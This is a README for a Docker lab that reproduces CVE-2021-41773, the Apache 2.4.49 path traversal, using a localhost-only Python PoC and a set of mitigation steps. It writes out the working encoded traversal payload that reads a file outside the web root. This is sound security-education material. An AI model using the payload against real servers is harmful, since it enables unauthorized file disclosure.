## https://sploitus.com/exploit?id=958423A8-16EB-52C6-9A18-54F1646CE3AB
# CVE-2021-41773 — Apache HTTP Server 2.4.49 Lab
Reproduction of **CVE-2021-41773**, a path traversal vulnerability in Apache HTTP Server 2.4.49.
This project uses Docker to create an isolated vulnerable environment and a Python PoC to demonstrate controlled file disclosure.
> **Safety:** The PoC only accepts `localhost`, `127.0.0.1`, or `::1` targets. Testing must remain inside the isolated lab.
## Objective
This project demonstrates:
- Setting up Apache HTTP Server 2.4.49 in Docker
- Verifying the vulnerable Apache version
- Reproducing CVE-2021-41773
- Demonstrating controlled file disclosure
- Developing a custom Python PoC
- Collecting exploitation evidence
- Documenting mitigation steps
The demonstration focuses on **file disclosure** rather than remote code execution.
## Project Structure
```text
CVE-2021-41773-Apache-Lab/
│
├── docker/
│ ├── Dockerfile
│ ├── httpd-vulnerable.conf
│ └── secret.txt
│
├── exploit/
│ └── exploit.py
│
├── screenshots/
│ ├── 01-docker-container.png
│ ├── 02-apache-version.png
│ └── 03-successful-exploit.png
│
├── report/
│ └── CVE-2021-41773-Exploit-Report.pdf
│
├── requirements.txt
├── .gitignore
└── README.md
```
## Requirements
- Docker
- Python 3.x
- Git
The PoC uses only Python's standard library and does not require third-party Python packages.
## Lab Setup
### 1. Build the Docker image
From the repository root:
```bash
docker build -t cve-2021-41773-lab ./docker
```
### 2. Start the vulnerable Apache server
```bash
docker run --rm --name cve-2021-41773-lab \
-p 127.0.0.1:8080:80 \
cve-2021-41773-lab
```
Keep this terminal running.
The Apache service is exposed only through:
```text
127.0.0.1:8080
```
## Verification
### Verify the container
In another terminal:
```bash
docker ps
```
The container should show:
```text
127.0.0.1:8080->80/tcp
```
### Verify Apache version
```bash
docker exec cve-2021-41773-lab httpd -v
```
Expected:
```text
Server version: Apache/2.4.49 (Unix)
```
### Verify normal HTTP access
```bash
curl http://127.0.0.1:8080/
```
The Apache test page should be returned.
## Exploitation
The PoC is located at:
```text
exploit/exploit.py
```
Run:
```bash
python3 exploit/exploit.py
```
The default target is:
```text
http://127.0.0.1:8080
```
The default proof file is:
```text
/lab/secret.txt
```
A successful run produces:
```text
[+] Vulnerability reproduced.
[+] Controlled file disclosure confirmed.
```
The PoC then displays the contents of the controlled lab file.
## How the PoC Works
The PoC first checks that the target is a local address:
```text
localhost
127.0.0.1
::1
```
It then constructs a path containing encoded traversal components:
```text
/cgi-bin/.%2e/.%2e/.%2e/.%2e/lab/secret.txt
```
The request is sent using Python's standard `socket` module. This gives the PoC direct control over the HTTP request path.
The vulnerable Apache 2.4.49 server processes the crafted path and returns the contents of:
```text
/lab/secret.txt
```
Retrieving this file confirms the path traversal and controlled file disclosure.
## Vulnerability Summary
**CVE:** CVE-2021-41773
**Product:** Apache HTTP Server
**Affected Version Demonstrated:** 2.4.49
**Vulnerability Type:** Path Traversal / File Disclosure
CVE-2021-41773 is a path traversal vulnerability in Apache HTTP Server 2.4.49. A specially crafted URL can bypass intended path restrictions and allow access to files outside the expected directory.
Under certain configurations, the vulnerability can have more severe consequences. This project deliberately demonstrates controlled file disclosure in an isolated Docker environment.
## Evidence
Screenshots collected during testing are stored in:
```text
evidence/
```
Evidence includes:
1. Running Docker container
2. Apache HTTP Server 2.4.49 version verification
3. Successful Python PoC execution
## Mitigation
The primary mitigation is to upgrade Apache HTTP Server to a fixed version.
Additional defensive measures include:
- Keep Apache regularly patched.
- Restrict access to sensitive files.
- Review Alias and CGI configurations.
- Apply least-privilege permissions.
- Avoid exposing unnecessary services.
- Monitor server logs for suspicious path traversal requests.
## References
- Apache HTTP Server Security Advisory:
https://httpd.apache.org/security/vulnerabilities_24.html
- NIST National Vulnerability Database:
https://nvd.nist.gov/vuln/detail/CVE-2021-41773
- CERT-EU Security Advisory:
https://cert.europa.eu/publications/security-advisories/2021-054/
## Disclaimer
This project is intended solely for authorized security education and controlled laboratory testing.
The Docker environment and PoC are designed for local testing. Do not use the PoC against systems that you do not own or have explicit permission to assess.